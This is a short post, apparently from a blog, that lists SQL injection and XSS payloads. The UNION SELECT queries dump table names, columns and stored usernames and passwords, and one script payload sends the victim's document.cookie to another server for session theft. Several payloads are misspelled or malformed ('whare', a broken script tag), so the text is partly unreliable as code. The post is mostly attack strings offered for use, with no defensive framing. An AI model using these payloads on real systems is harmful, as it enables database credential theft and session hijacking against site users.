Some JavaScript SQL injection & XSS query's OR Payloads

Some JavaScript   SQL injection & XSS query's OR Payloads

1) #to display all table that exist on the server     

    1'union select table_name,null from information_schema.table# 


2) #to display specefic user's name,pass,logs,etc.  

1;union select table_name,column_name from information_schema.columns 

          whare table_name='users


3) # to display all users and password 

   1'union select user,password from users#


4) #to display current user cookie

<script>(document.cookie)</script>


5) #to send current user cookies to anthoer server.

    <script.location='http://localhost/cookies.php?cookie='+document.cookie'

    </script>



Comments